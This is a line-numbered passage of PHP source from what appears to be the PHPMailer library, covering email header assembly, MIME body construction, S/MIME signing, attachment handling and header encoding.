  1941. if (false !== $encodedCharPos) {
  1942. // Found start of encoded character byte within $lookBack block.
  1943. // Check the encoded byte value (the 2 chars after the '=')
  1944. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  1945. $dec = hexdec($hex);
  1946. if ($dec < 128) {
  1947. // Single byte character.
  1948. // If the encoded char was found at pos 0, it will fit
  1949. // otherwise reduce maxLength to start of the encoded char
  1950. if ($encodedCharPos > 0) {
  1951. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1952. }
  1953. $foundSplitPos = true;
  1954. } elseif ($dec >= 192) {
  1955. // First byte of a multi byte character
  1956. // Reduce maxLength to split at start of character
  1957. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1958. $foundSplitPos = true;
  1959. } elseif ($dec < 192) {
  1960. // Middle byte of a multi byte character, look further back
  1961. $lookBack += 3;
  1962. }
  1963. } else {
  1964. // No encoded character found
  1965. $foundSplitPos = true;
  1966. }
  1967. }
  1968. return $maxLength;
  1969. }
  1970.  
  1971. /**
  1972. * Apply word wrapping to the message body.
  1973. * Wraps the message body to the number of chars set in the WordWrap property.
  1974. * You should only do this to plain-text bodies as wrapping HTML tags may break them.
  1975. * This is called automatically by createBody(), so you don't need to call it yourself.
  1976. * @access public
  1977. * @return void
  1978. */
  1979. public function setWordWrap()
  1980. {
  1981. if ($this->WordWrap < 1) {
  1982. return;
  1983. }
  1984.  
  1985. switch ($this->message_type) {
  1986. case 'alt':
  1987. case 'alt_inline':
  1988. case 'alt_attach':
  1989. case 'alt_inline_attach':
  1990. $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
  1991. break;
  1992. default:
  1993. $this->Body = $this->wrapText($this->Body, $this->WordWrap);
  1994. break;
  1995. }
  1996. }
  1997.  
  1998. /**
  1999. * Assemble message headers.
  2000. * @access public
  2001. * @return string The assembled headers
  2002. */
  2003. public function createHeader()
  2004. {
  2005. $result = '';
  2006.  
  2007. if ($this->MessageDate == '') {
  2008. $this->MessageDate = self::rfcDate();
  2009. }
  2010. $result .= $this->headerLine('Date', $this->MessageDate);
  2011.  
  2012. // To be created automatically by mail()
  2013. if ($this->SingleTo) {
  2014. if ($this->Mailer != 'mail') {
  2015. foreach ($this->to as $toaddr) {
  2016. $this->SingleToArray[] = $this->addrFormat($toaddr);
  2017. }
  2018. }
  2019. } else {
  2020. if (count($this->to) > 0) {
  2021. if ($this->Mailer != 'mail') {
  2022. $result .= $this->addrAppend('To', $this->to);
  2023. }
  2024. } elseif (count($this->cc) == 0) {
  2025. $result .= $this->headerLine('To', 'undisclosed-recipients:;');
  2026. }
  2027. }
  2028.  
  2029. $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
  2030.  
  2031. // sendmail and mail() extract Cc from the header before sending
  2032. if (count($this->cc) > 0) {
  2033. $result .= $this->addrAppend('Cc', $this->cc);
  2034. }
  2035.  
  2036. // sendmail and mail() extract Bcc from the header before sending
  2037. if ((
  2038. $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
  2039. )
  2040. and count($this->bcc) > 0
  2041. ) {
  2042. $result .= $this->addrAppend('Bcc', $this->bcc);
  2043. }
  2044.  
  2045. if (count($this->ReplyTo) > 0) {
  2046. $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
  2047. }
  2048.  
  2049. // mail() sets the subject itself
  2050. if ($this->Mailer != 'mail') {
  2051. $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
  2052. }
  2053.  
  2054. if ($this->MessageID != '') {
  2055. $this->lastMessageID = $this->MessageID;
  2056. } else {
  2057. $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
  2058. }
  2059. $result .= $this->headerLine('Message-ID', $this->lastMessageID);
  2060. if (!is_null($this->Priority)) {
  2061. $result .= $this->headerLine('X-Priority', $this->Priority);
  2062. }
  2063. if ($this->XMailer == '') {
  2064. $result .= $this->headerLine(
  2065. 'X-Mailer',
  2066. 'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
  2067. );
  2068. } else {
  2069. $myXmailer = trim($this->XMailer);
  2070. if ($myXmailer) {
  2071. $result .= $this->headerLine('X-Mailer', $myXmailer);
  2072. }
  2073. }
  2074.  
  2075. if ($this->ConfirmReadingTo != '') {
  2076. $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
  2077. }
  2078.  
  2079. // Add custom headers
  2080. foreach ($this->CustomHeader as $header) {
  2081. $result .= $this->headerLine(
  2082. trim($header[0]),
  2083. $this->encodeHeader(trim($header[1]))
  2084. );
  2085. }
  2086. if (!$this->sign_key_file) {
  2087. $result .= $this->headerLine('MIME-Version', '1.0');
  2088. $result .= $this->getMailMIME();
  2089. }
  2090.  
  2091. return $result;
  2092. }
  2093.  
  2094. /**
  2095. * Get the message MIME type headers.
  2096. * @access public
  2097. * @return string
  2098. */
  2099. public function getMailMIME()
  2100. {
  2101. $result = '';
  2102. $ismultipart = true;
  2103. switch ($this->message_type) {
  2104. case 'inline':
  2105. $result .= $this->headerLine('Content-Type', 'multipart/related;');
  2106. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  2107. break;
  2108. case 'attach':
  2109. case 'inline_attach':
  2110. case 'alt_attach':
  2111. case 'alt_inline_attach':
  2112. $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
  2113. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  2114. break;
  2115. case 'alt':
  2116. case 'alt_inline':
  2117. $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
  2118. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  2119. break;
  2120. default:
  2121. // Catches case 'plain': and case '':
  2122. $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
  2123. $ismultipart = false;
  2124. break;
  2125. }
  2126. // RFC1341 part 5 says 7bit is assumed if not specified
  2127. if ($this->Encoding != '7bit') {
  2128. // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
  2129. if ($ismultipart) {
  2130. if ($this->Encoding == '8bit') {
  2131. $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
  2132. }
  2133. // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
  2134. } else {
  2135. $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
  2136. }
  2137. }
  2138.  
  2139. if ($this->Mailer != 'mail') {
  2140. $result .= $this->LE;
  2141. }
  2142.  
  2143. return $result;
  2144. }
  2145.  
  2146. /**
  2147. * Returns the whole MIME message.
  2148. * Includes complete headers and body.
  2149. * Only valid post preSend().
  2150. * @see PHPMailer::preSend()
  2151. * @access public
  2152. * @return string
  2153. */
  2154. public function getSentMIMEMessage()
  2155. {
  2156. return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
  2157. }
  2158.  
  2159. /**
  2160. * Assemble the message body.
  2161. * Returns an empty string on failure.
  2162. * @access public
  2163. * @throws phpmailerException
  2164. * @return string The assembled message body
  2165. */
  2166. public function createBody()
  2167. {
  2168. $body = '';
  2169. //Create unique IDs and preset boundaries
  2170. $this->uniqueid = md5(uniqid(time()));
  2171. $this->boundary[1] = 'b1_' . $this->uniqueid;
  2172. $this->boundary[2] = 'b2_' . $this->uniqueid;
  2173. $this->boundary[3] = 'b3_' . $this->uniqueid;
  2174.  
  2175. if ($this->sign_key_file) {
  2176. $body .= $this->getMailMIME() . $this->LE;
  2177. }
  2178.  
  2179. $this->setWordWrap();
  2180.  
  2181. $bodyEncoding = $this->Encoding;
  2182. $bodyCharSet = $this->CharSet;
  2183. //Can we do a 7-bit downgrade?
  2184. if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
  2185. $bodyEncoding = '7bit';
  2186. $bodyCharSet = 'us-ascii';
  2187. }
  2188. //If lines are too long, and we're not already using an encoding that will shorten them,
  2189. //change to quoted-printable transfer encoding
  2190. if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
  2191. $this->Encoding = 'quoted-printable';
  2192. $bodyEncoding = 'quoted-printable';
  2193. }
  2194.  
  2195. $altBodyEncoding = $this->Encoding;
  2196. $altBodyCharSet = $this->CharSet;
  2197. //Can we do a 7-bit downgrade?
  2198. if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
  2199. $altBodyEncoding = '7bit';
  2200. $altBodyCharSet = 'us-ascii';
  2201. }
  2202. //If lines are too long, and we're not already using an encoding that will shorten them,
  2203. //change to quoted-printable transfer encoding
  2204. if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
  2205. $altBodyEncoding = 'quoted-printable';
  2206. }
  2207. //Use this as a preamble in all multipart message types
  2208. $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
  2209. switch ($this->message_type) {
  2210. case 'inline':
  2211. $body .= $mimepre;
  2212. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  2213. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2214. $body .= $this->LE . $this->LE;
  2215. $body .= $this->attachAll('inline', $this->boundary[1]);
  2216. break;
  2217. case 'attach':
  2218. $body .= $mimepre;
  2219. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  2220. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2221. $body .= $this->LE . $this->LE;
  2222. $body .= $this->attachAll('attachment', $this->boundary[1]);
  2223. break;
  2224. case 'inline_attach':
  2225. $body .= $mimepre;
  2226. $body .= $this->textLine('--' . $this->boundary[1]);
  2227. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  2228. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2229. $body .= $this->LE;
  2230. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
  2231. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2232. $body .= $this->LE . $this->LE;
  2233. $body .= $this->attachAll('inline', $this->boundary[2]);
  2234. $body .= $this->LE;
  2235. $body .= $this->attachAll('attachment', $this->boundary[1]);
  2236. break;
  2237. case 'alt':
  2238. $body .= $mimepre;
  2239. $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2240. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2241. $body .= $this->LE . $this->LE;
  2242. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
  2243. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2244. $body .= $this->LE . $this->LE;
  2245. if (!empty($this->Ical)) {
  2246. $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
  2247. $body .= $this->encodeString($this->Ical, $this->Encoding);
  2248. $body .= $this->LE . $this->LE;
  2249. }
  2250. $body .= $this->endBoundary($this->boundary[1]);
  2251. break;
  2252. case 'alt_inline':
  2253. $body .= $mimepre;
  2254. $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2255. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2256. $body .= $this->LE . $this->LE;
  2257. $body .= $this->textLine('--' . $this->boundary[1]);
  2258. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  2259. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2260. $body .= $this->LE;
  2261. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  2262. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2263. $body .= $this->LE . $this->LE;
  2264. $body .= $this->attachAll('inline', $this->boundary[2]);
  2265. $body .= $this->LE;
  2266. $body .= $this->endBoundary($this->boundary[1]);
  2267. break;
  2268. case 'alt_attach':
  2269. $body .= $mimepre;
  2270. $body .= $this->textLine('--' . $this->boundary[1]);
  2271. $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  2272. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2273. $body .= $this->LE;
  2274. $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2275. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2276. $body .= $this->LE . $this->LE;
  2277. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  2278. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2279. $body .= $this->LE . $this->LE;
  2280. $body .= $this->endBoundary($this->boundary[2]);
  2281. $body .= $this->LE;
  2282. $body .= $this->attachAll('attachment', $this->boundary[1]);
  2283. break;
  2284. case 'alt_inline_attach':
  2285. $body .= $mimepre;
  2286. $body .= $this->textLine('--' . $this->boundary[1]);
  2287. $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  2288. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2289. $body .= $this->LE;
  2290. $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2291. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2292. $body .= $this->LE . $this->LE;
  2293. $body .= $this->textLine('--' . $this->boundary[2]);
  2294. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  2295. $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
  2296. $body .= $this->LE;
  2297. $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
  2298. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2299. $body .= $this->LE . $this->LE;
  2300. $body .= $this->attachAll('inline', $this->boundary[3]);
  2301. $body .= $this->LE;
  2302. $body .= $this->endBoundary($this->boundary[2]);
  2303. $body .= $this->LE;
  2304. $body .= $this->attachAll('attachment', $this->boundary[1]);
  2305. break;
  2306. default:
  2307. // catch case 'plain' and case ''
  2308. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2309. break;
  2310. }
  2311.  
  2312. if ($this->isError()) {
  2313. $body = '';
  2314. } elseif ($this->sign_key_file) {
  2315. try {
  2316. if (!defined('PKCS7_TEXT')) {
  2317. throw new phpmailerException($this->lang('extension_missing') . 'openssl');
  2318. }
  2319. // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
  2320. $file = tempnam(sys_get_temp_dir(), 'mail');
  2321. if (false === file_put_contents($file, $body)) {
  2322. throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
  2323. }
  2324. $signed = tempnam(sys_get_temp_dir(), 'signed');
  2325. //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
  2326. if (empty($this->sign_extracerts_file)) {
  2327. $sign = @openssl_pkcs7_sign(
  2328. $file,
  2329. $signed,
  2330. 'file://' . realpath($this->sign_cert_file),
  2331. array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  2332. null
  2333. );
  2334. } else {
  2335. $sign = @openssl_pkcs7_sign(
  2336. $file,
  2337. $signed,
  2338. 'file://' . realpath($this->sign_cert_file),
  2339. array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  2340. null,
  2341. PKCS7_DETACHED,
  2342. $this->sign_extracerts_file
  2343. );
  2344. }
  2345. if ($sign) {
  2346. @unlink($file);
  2347. $body = file_get_contents($signed);
  2348. @unlink($signed);
  2349. //The message returned by openssl contains both headers and body, so need to split them up
  2350. $parts = explode("\n\n", $body, 2);
  2351. $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
  2352. $body = $parts[1];
  2353. } else {
  2354. @unlink($file);
  2355. @unlink($signed);
  2356. throw new phpmailerException($this->lang('signing') . openssl_error_string());
  2357. }
  2358. } catch (phpmailerException $exc) {
  2359. $body = '';
  2360. if ($this->exceptions) {
  2361. throw $exc;
  2362. }
  2363. }
  2364. }
  2365. return $body;
  2366. }
  2367.  
  2368. /**
  2369. * Return the start of a message boundary.
  2370. * @access protected
  2371. * @param string $boundary
  2372. * @param string $charSet
  2373. * @param string $contentType
  2374. * @param string $encoding
  2375. * @return string
  2376. */
  2377. protected function getBoundary($boundary, $charSet, $contentType, $encoding)
  2378. {
  2379. $result = '';
  2380. if ($charSet == '') {
  2381. $charSet = $this->CharSet;
  2382. }
  2383. if ($contentType == '') {
  2384. $contentType = $this->ContentType;
  2385. }
  2386. if ($encoding == '') {
  2387. $encoding = $this->Encoding;
  2388. }
  2389. $result .= $this->textLine('--' . $boundary);
  2390. $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
  2391. $result .= $this->LE;
  2392. // RFC1341 part 5 says 7bit is assumed if not specified
  2393. if ($encoding != '7bit') {
  2394. $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
  2395. }
  2396. $result .= $this->LE;
  2397.  
  2398. return $result;
  2399. }
  2400.  
  2401. /**
  2402. * Return the end of a message boundary.
  2403. * @access protected
  2404. * @param string $boundary
  2405. * @return string
  2406. */
  2407. protected function endBoundary($boundary)
  2408. {
  2409. return $this->LE . '--' . $boundary . '--' . $this->LE;
  2410. }
  2411.  
  2412. /**
  2413. * Set the message type.
  2414. * PHPMailer only supports some preset message types,
  2415. * not arbitrary MIME structures.
  2416. * @access protected
  2417. * @return void
  2418. */
  2419. protected function setMessageType()
  2420. {
  2421. $type = array();
  2422. if ($this->alternativeExists()) {
  2423. $type[] = 'alt';
  2424. }
  2425. if ($this->inlineImageExists()) {
  2426. $type[] = 'inline';
  2427. }
  2428. if ($this->attachmentExists()) {
  2429. $type[] = 'attach';
  2430. }
  2431. $this->message_type = implode('_', $type);
  2432. if ($this->message_type == '') {
  2433. $this->message_type = 'plain';
  2434. }
  2435. }
  2436.  
  2437. /**
  2438. * Format a header line.
  2439. * @access public
  2440. * @param string $name
  2441. * @param string $value
  2442. * @return string
  2443. */
  2444. public function headerLine($name, $value)
  2445. {
  2446. return $name . ': ' . $value . $this->LE;
  2447. }
  2448.  
  2449. /**
  2450. * Return a formatted mail line.
  2451. * @access public
  2452. * @param string $value
  2453. * @return string
  2454. */
  2455. public function textLine($value)
  2456. {
  2457. return $value . $this->LE;
  2458. }
  2459.  
  2460. /**
  2461. * Add an attachment from a path on the filesystem.
  2462. * Returns false if the file could not be found or read.
  2463. * @param string $path Path to the attachment.
  2464. * @param string $name Overrides the attachment name.
  2465. * @param string $encoding File encoding (see $Encoding).
  2466. * @param string $type File extension (MIME) type.
  2467. * @param string $disposition Disposition to use
  2468. * @throws phpmailerException
  2469. * @return boolean
  2470. */
  2471. public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
  2472. {
  2473. try {
  2474. if (!@is_file($path)) {
  2475. throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
  2476. }
  2477.  
  2478. // If a MIME type is not specified, try to work it out from the file name
  2479. if ($type == '') {
  2480. $type = self::filenameToType($path);
  2481. }
  2482.  
  2483. $filename = basename($path);
  2484. if ($name == '') {
  2485. $name = $filename;
  2486. }
  2487.  
  2488. $this->attachment[] = array(
  2489. 0 => $path,
  2490. 1 => $filename,
  2491. 2 => $name,
  2492. 3 => $encoding,
  2493. 4 => $type,
  2494. 5 => false, // isStringAttachment
  2495. 6 => $disposition,
  2496. 7 => 0
  2497. );
  2498.  
  2499. } catch (phpmailerException $exc) {
  2500. $this->setError($exc->getMessage());
  2501. $this->edebug($exc->getMessage());
  2502. if ($this->exceptions) {
  2503. throw $exc;
  2504. }
  2505. return false;
  2506. }
  2507. return true;
  2508. }
  2509.  
  2510. /**
  2511. * Return the array of attachments.
  2512. * @return array
  2513. */
  2514. public function getAttachments()
  2515. {
  2516. return $this->attachment;
  2517. }
  2518.  
  2519. /**
  2520. * Attach all file, string, and binary attachments to the message.
  2521. * Returns an empty string on failure.
  2522. * @access protected
  2523. * @param string $disposition_type
  2524. * @param string $boundary
  2525. * @return string
  2526. */
  2527. protected function attachAll($disposition_type, $boundary)
  2528. {
  2529. // Return text of body
  2530. $mime = array();
  2531. $cidUniq = array();
  2532. $incl = array();
  2533.  
  2534. // Add all attachments
  2535. foreach ($this->attachment as $attachment) {
  2536. // Check if it is a valid disposition_filter
  2537. if ($attachment[6] == $disposition_type) {
  2538. // Check for string attachment
  2539. $string = '';
  2540. $path = '';
  2541. $bString = $attachment[5];
  2542. if ($bString) {
  2543. $string = $attachment[0];
  2544. } else {
  2545. $path = $attachment[0];
  2546. }
  2547.  
  2548. $inclhash = md5(serialize($attachment));
  2549. if (in_array($inclhash, $incl)) {
  2550. continue;
  2551. }
  2552. $incl[] = $inclhash;
  2553. $name = $attachment[2];
  2554. $encoding = $attachment[3];
  2555. $type = $attachment[4];
  2556. $disposition = $attachment[6];
  2557. $cid = $attachment[7];
  2558. if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
  2559. continue;
  2560. }
  2561. $cidUniq[$cid] = true;
  2562.  
  2563. $mime[] = sprintf('--%s%s', $boundary, $this->LE);
  2564. //Only include a filename property if we have one
  2565. if (!empty($name)) {
  2566. $mime[] = sprintf(
  2567. 'Content-Type: %s; name="%s"%s',
  2568. $type,
  2569. $this->encodeHeader($this->secureHeader($name)),
  2570. $this->LE
  2571. );
  2572. } else {
  2573. $mime[] = sprintf(
  2574. 'Content-Type: %s%s',
  2575. $type,
  2576. $this->LE
  2577. );
  2578. }
  2579. // RFC1341 part 5 says 7bit is assumed if not specified
  2580. if ($encoding != '7bit') {
  2581. $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
  2582. }
  2583.  
  2584. if ($disposition == 'inline') {
  2585. $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
  2586. }
  2587.  
  2588. // If a filename contains any of these chars, it should be quoted,
  2589. // but not otherwise: RFC2183 & RFC2045 5.1
  2590. // Fixes a warning in IETF's msglint MIME checker
  2591. // Allow for bypassing the Content-Disposition header totally
  2592. if (!(empty($disposition))) {
  2593. $encoded_name = $this->encodeHeader($this->secureHeader($name));
  2594. if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
  2595. $mime[] = sprintf(
  2596. 'Content-Disposition: %s; filename="%s"%s',
  2597. $disposition,
  2598. $encoded_name,
  2599. $this->LE . $this->LE
  2600. );
  2601. } else {
  2602. if (!empty($encoded_name)) {
  2603. $mime[] = sprintf(
  2604. 'Content-Disposition: %s; filename=%s%s',
  2605. $disposition,
  2606. $encoded_name,
  2607. $this->LE . $this->LE
  2608. );
  2609. } else {
  2610. $mime[] = sprintf(
  2611. 'Content-Disposition: %s%s',
  2612. $disposition,
  2613. $this->LE . $this->LE
  2614. );
  2615. }
  2616. }
  2617. } else {
  2618. $mime[] = $this->LE;
  2619. }
  2620.  
  2621. // Encode as string attachment
  2622. if ($bString) {
  2623. $mime[] = $this->encodeString($string, $encoding);
  2624. if ($this->isError()) {
  2625. return '';
  2626. }
  2627. $mime[] = $this->LE . $this->LE;
  2628. } else {
  2629. $mime[] = $this->encodeFile($path, $encoding);
  2630. if ($this->isError()) {
  2631. return '';
  2632. }
  2633. $mime[] = $this->LE . $this->LE;
  2634. }
  2635. }
  2636. }
  2637.  
  2638. $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
  2639.  
  2640. return implode('', $mime);
  2641. }
  2642.  
  2643. /**
  2644. * Encode a file attachment in requested format.
  2645. * Returns an empty string on failure.
  2646. * @param string $path The full path to the file
  2647. * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
  2648. * @throws phpmailerException
  2649. * @access protected
  2650. * @return string
  2651. */
  2652. protected function encodeFile($path, $encoding = 'base64')
  2653. {
  2654. try {
  2655. if (!is_readable($path)) {
  2656. throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
  2657. }
  2658. $magic_quotes = get_magic_quotes_runtime();
  2659. if ($magic_quotes) {
  2660. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  2661. set_magic_quotes_runtime(false);
  2662. } else {
  2663. //Doesn't exist in PHP 5.4, but we don't need to check because
  2664. //get_magic_quotes_runtime always returns false in 5.4+
  2665. //so it will never get here
  2666. ini_set('magic_quotes_runtime', false);
  2667. }
  2668. }
  2669. $file_buffer = file_get_contents($path);
  2670. $file_buffer = $this->encodeString($file_buffer, $encoding);
  2671. if ($magic_quotes) {
  2672. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  2673. set_magic_quotes_runtime($magic_quotes);
  2674. } else {
  2675. ini_set('magic_quotes_runtime', $magic_quotes);
  2676. }
  2677. }
  2678. return $file_buffer;
  2679. } catch (Exception $exc) {
  2680. $this->setError($exc->getMessage());
  2681. return '';
  2682. }
  2683. }
  2684.  
  2685. /**
  2686. * Encode a string in requested format.
  2687. * Returns an empty string on failure.
  2688. * @param string $str The text to encode
  2689. * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
  2690. * @access public
  2691. * @return string
  2692. */
  2693. public function encodeString($str, $encoding = 'base64')
  2694. {
  2695. $encoded = '';
  2696. switch (strtolower($encoding)) {
  2697. case 'base64':
  2698. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2699. break;
  2700. case '7bit':
  2701. case '8bit':
  2702. $encoded = $this->fixEOL($str);
  2703. // Make sure it ends with a line break
  2704. if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
  2705. $encoded .= $this->LE;
  2706. }
  2707. break;
  2708. case 'binary':
  2709. $encoded = $str;
  2710. break;
  2711. case 'quoted-printable':
  2712. $encoded = $this->encodeQP($str);
  2713. break;
  2714. default:
  2715. $this->setError($this->lang('encoding') . $encoding);
  2716. break;
  2717. }
  2718. return $encoded;
  2719. }
  2720.  
  2721. /**
  2722. * Encode a header string optimally.
  2723. * Picks shortest of Q, B, quoted-printable or none.
  2724. * @access public
  2725. * @param string $str
  2726. * @param string $position
  2727. * @return string
  2728. */
  2729. public function encodeHeader($str, $position = 'text')
  2730. {
  2731. $matchcount = 0;
  2732. switch (strtolower($position)) {
  2733. case 'phrase':
  2734. if (!preg_match('/[\200-\377]/', $str)) {
  2735. // Can't use addslashes as we don't know the value of magic_quotes_sybase
  2736. $encoded = addcslashes($str, "\0..\37\177\\\"");
  2737. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2738. return ($encoded);
  2739. } else {
  2740. return ("\"$encoded\"");
  2741. }
  2742. }
  2743. $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2744. break;
  2745. /** @noinspection PhpMissingBreakStatementInspection */
  2746. case 'comment':
  2747. $matchcount = preg_match_all('/[()"]/', $str, $matches);
  2748. // Intentional fall-through
  2749. case 'text':
  2750. default:
  2751. $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2752. break;
  2753. }
  2754.  
  2755. //There are no chars that need encoding
  2756. if ($matchcount == 0) {
  2757. return ($str);
  2758. }
  2759.  
  2760. $maxlen = 75 - 7 - strlen($this->CharSet);
  2761. // Try to select the encoding which should produce the shortest output
  2762. if ($matchcount > strlen($str) / 3) {
  2763. // More than a third of the content will need encoding, so B encoding will be most efficient
  2764. $encoding = 'B';
  2765. if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
  2766. // Use a custom function which correctly encodes and wraps long
  2767. // multibyte strings without breaking lines within a character
  2768. $encoded = $this->base64EncodeWrapMB($str, "\n");
  2769. } else {
  2770. $encoded = base64_encode($str);
  2771. $maxlen -= $maxlen % 4;
  2772. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2773. }
  2774. } else {
  2775. $encoding = 'Q';
  2776. $encoded = $this->encodeQ($str, $position);
  2777. $encoded = $this->wrapText($encoded, $maxlen, true);
  2778. $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
  2779. }
  2780.  
  2781. $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
  2782. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2783.  
  2784. return $encoded;
  2785. }
  2786.  
  2787. /**
  2788. * Check if a string contains multi-byte characters.
  2789. * @access public
  2790. * @param string $str multi-byte text to wrap encode
  2791. * @return boolean
  2792. */
  2793. public function hasMultiBytes($str)
  2794. {
  2795. if (function_exists('mb_strlen')) {
  2796. return (strlen($str) > mb_strlen($str, $this->CharSet));
  2797. } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2798. return false;
  2799. }
  2800. }
  2801.  
  2802. /**
  2803. * Does a string contain any 8-bit chars (in any charset)?
  2804. * @param string $text
  2805. * @return boolean
  2806. */
  2807. public function has8bitChars($text)
  2808. {
  2809. return (boolean)preg_match('/[\x80-\xFF]/', $text);
  2810. }
  2811.  
  2812. /**
  2813. * Encode and wrap long multibyte strings for mail headers
  2814. * without breaking lines within a character.
  2815. * Adapted from a function by paravoid
  2816. * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
  2817. * @access public
  2818. * @param string $str multi-byte text to wrap encode
  2819. * @param string $linebreak string to use as linefeed/end-of-line
  2820. * @return string
  2821. */
  2822. public function base64EncodeWrapMB($str, $linebreak = null)
  2823. {
  2824. $start = '=?' . $this->CharSet . '?B?';
  2825. $end = '?=';
  2826. $encoded = '';
  2827. if ($linebreak === null) {
  2828. $linebreak = $this->LE;
  2829. }
  2830.  
  2831. $mb_length = mb_strlen($str, $this->CharSet);
  2832. // Each line must have length <= 75, including $start and $end
  2833. $length = 75 - strlen($start) - strlen($end);
  2834. // Average multi-byte ratio
  2835. $ratio = $mb_length / strlen($str);
  2836. // Base64 has a 4:3 ratio
  2837. $avgLength = floor($length * $ratio * .75);
  2838.  
